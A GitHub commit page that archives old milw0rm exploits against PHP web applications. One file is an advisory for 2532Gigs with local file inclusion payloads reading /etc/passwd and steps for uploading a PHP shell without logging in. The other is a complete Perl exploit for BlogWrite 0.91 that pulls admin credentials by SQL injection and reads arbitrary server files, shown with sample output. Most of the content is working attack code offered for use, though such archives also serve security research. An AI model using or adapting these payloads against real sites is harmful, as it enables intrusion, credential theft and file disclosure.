Skip to content

Commit

Permalink
dumped them all
Browse files Browse the repository at this point in the history
  • Loading branch information
gosirys authored Sep 3, 2021
1 parent 2a30bcf commit 96e669c
Show file tree
Hide file tree
Showing 46 changed files with 7,239 additions and 0 deletions.
96 changes: 96 additions & 0 deletions 2532Gigs 1.2.2 Stable - Multiple Vulnerabilities.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
[START]

#########################################################################################
[0x01] Informations:

Script : 2532|Gigs v1.2 Stable
Download : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
Dork : Powered by 2532|Gigs v1.2.2
Vulnerability : Local File Inclusion / Remote File Upload
Author : Osirys
Contact : osirys[at]live[dot]it
Website : http://osirys.org
Notes : Proud to be Italian
Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Multiple Local File Inclusions]
######

Bugged file is: /[path]/settings.php
Bugged file is: /[path]/deleteuser.php
Bugged file is: /[path]/mini_calendar.php
Bugged file is: /[path]/manage_venues.php
Bugged file is: /[path]/manage_gigs.php

* There are a lot of other files vulnerable to LFI !

[CODE]

<?php
/*
2532|Gigs v1.1
www.2532gigs.com
./settings.php
*/

// Load the settings.php language file
include_once("languages/$language/settings.php");

[/CODE]

settings.php page starts in this way. Includes a non declarate variable -> $language

[!] FIX: Declare $language var.


[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
../../../../../../../../../../etc/passwd%00


#########################################################################################
[0x03] Bug: [Remote File Upload]
######

Bugged file is: /[path]/upload_flyer.php

[CODE]

if (isset($_POST['submitflyer']))
{
if (strlen($_FILES['banner']['name']) > 0)
{
$target = "flyers/".$_FILES['banner']['name'];
move_uploaded_file($_FILES['banner']['tmp_name'], $target);

// Other code, like it cheeks if /[path]/flyers dir is writable or not !

[/CODE]

As we can see, everyone can upload everything that he wants. There is not login required,
and there isn't a cheek for the extension of the file that is going to be uploaded.
So, an unregistered user can upload a file of any extension, like a .php file. Why not
a php shell ?

[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
only to upload .gif/jpg or the extension you want, not .php or other extensions !


[!] EXPLOIT:
1) Go to: /path/upload_flyer.php
2) Select your local file to upload
3) Press submit button
4) Cheek your file at: /[path]/flyers/your_local_file.your_extension


#########################################################################################

[/END]

# milw0rm.com [2008-12-18]

214 changes: 214 additions & 0 deletions BlogWrite 0.91 - Remote File Disclosure SQL Injection.pl
Original file line number Diff line number Diff line change
@@ -0,0 +1,214 @@
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# | INFORMATIONS |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application : BlogWrite 0.91
# |Download : Can't remember 0o
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote FD / SQL Injection Exploit |
# |by Osirys |
# |osirys[at]autistici[dot]org |
# |osirys.org |
# |Greets to: evilsocket, Fireshot, Todd and str0ke |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# | p0c : /[path]/print.php?id=[sql_string]
# |SQL Injections used by this sploit :
# |[1] /path]/print.php?id=-1' union all select 1,2,concat(user,0x3a,pass),4,5,6,0,8 from auth where id='1
# |[2] /path]/print.php?id=-1' union all select 1,2,load_file('lf'),4,5,6,0,8 from auth where id='1
# |----------------------------------------------------------------------------------------------------------------------------------|
# |No into dumpfile function, cos query is protected, had not been able to bypass it !
# |----------------------------------------------------------------------------------------------------------------------------------|

# -----------------------------------------------------------------------------------------------------------------------------------|
# Exploit in action [>!]
# -----------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl sql3.txt http://localhost/blogwrite-0.91/ admin_hash
#
# --------------------------------------
# Blogwrite FD / SQL Inj Exploit
# Coded by Osirys
# -------------------------------------

# [*] Extracting admin credentials via Sql Injection ..
# [*] Username: admin
# [*] Password: password
#
# osirys[~]>$
# -----------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl sql3.txt http://localhost/blogwrite-0.91/ file_disc
#
# --------------------------------------
# Blogwrite FD / SQL Inj Exploit
# Coded by Osirys
# -------------------------------------

# [*] cat /etc/passwd
# root:x:0:0::/root:/bin/bash
# bin:x:1:1:bin:/bin:/bin/false
# daemon:x:2:2:daemon:/sbin:/bin/false
# adm:x:3:4:adm:/var/log:/bin/false
# lp:x:4:7:lp:/var/spool/lpd:/bin/false
# sync:x:5:0:sync:/sbin:/bin/sync
# shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
# halt:x:7:0:halt:/sbin:/sbin/halt
# mail:x:8:12:mail:/:/bin/false
# news:x:9:13:news:/usr/lib/news:/bin/false
# uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
# operator:x:11:0:operator:/root:/bin/bash
# games:x:12:100:games:/usr/games:/bin/false
# ftp:x:14:50::/home/ftp:/bin/false
# smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
# mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
# rpc:x:32:32:RPC portmap user:/:/bin/false
# sshd:x:33:33:sshd:/:/bin/false
# gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
# apache:x:80:80:User for Apache:/srv/httpd:/bin/false
# messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
# haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
# pop:x:90:90:POP:/:/bin/false
# nobody:x:99:99:nobody:/:/bin/false
# osirys:x:1000:100:Giovanni,,,:/home/osirys:/bin/bash
#
# [*] cat exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------------------------------------------|


use LWP::UserAgent;
use HTTP::Request::Common;


my $host = $ARGV[0];
my $expl = $ARGV[1];

my $sql_inj_path = "/print.php?id=";
my $gen_sql_inj = "-1' union all select 1,2,";

($host,$expl) || help("-1");
cheek($host,$expl) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&adm_hash if $expl_way == 1;
&file_discl if $expl_way == 2;

sub adm_hash {
print "[*] Extracting admin credentials via Sql Injection ..\n";
my $attack = $host.$sql_inj_path.$gen_sql_inj."concat(0x64657461696C73,user,0x3a,pass,0x64657461696C73),4,5,6,0,8 from auth where id='1";
my $re = get_req($attack);
if ($re =~ /details(.+):(.+)details/) {
print "[*] Username: $1\n";
print "[*] Password: $2\n\n";
exit(0);
}
else {
print "[-] Can't extract admin credentials\n[-] Exploit Failed !\n\n";
exit(0);
}
}

sub file_discl {
print "[*] cat ";
my $file = <STDIN>;
chomp($file);
$file !~ /exit/ || die "[-] Quitting ..\n";
if ($file !~ /\/(.*)/) {
print "\n[-] Bad filename !\n";
&file_discl;
}
my $attack = $host.$sql_inj_path.$gen_sql_inj."load_file('".$file."'),4,5,6,0,8 from auth where id='1";
my $re = get_req($attack);
my $content = tag($re);
if ($content =~ /<\/b><\/div><p>(.+)<\/p><h1>/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
$out =~ s/$out/$out\n/ if ($out !~ /\n$/);
print "$out\n";
&file_discl;
}
else {
$c++;
print "[-] Can't find ".$file." \n";
$c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n";
&file_discl;
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub cheek() {
my $host = $_[0];
my $expl = $_[1];
if ($host =~ /http:\/\/(.*)/) {
$ch_host = 1;
}
if ($expl =~ /admin_hash/) {
$ch_expl = 1;
$expl_way = 1;
}
elsif ($expl =~ /file_disc/) {
$ch_expl = 1;
$expl_way = 2;
}
return 1 if ((($ch_host)&&($ch_expl)) == 1);
&help("-2");
}

sub banner {
print "\n".
" --------------------------------------\n".
" Blogwrite FD / SQL Inj Exploit \n".
" Coded by Osirys \n".
" ------------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input Error, missed some arguments !\n\n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad arguments !\n\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path admin_hash\n";
print " Ex: perl $0 http://site.it/cms/ admin_hash\n";
print "[*] Usage : perl $0 http://hostname/cms_path file_disc\n";
print " Ex: perl $0 http://site.it/cms/ file_disc\n";
exit(0);
}

# milw0rm.com [2009-02-13]
Loading

0 comments on commit 96e669c

Please sign in to comment.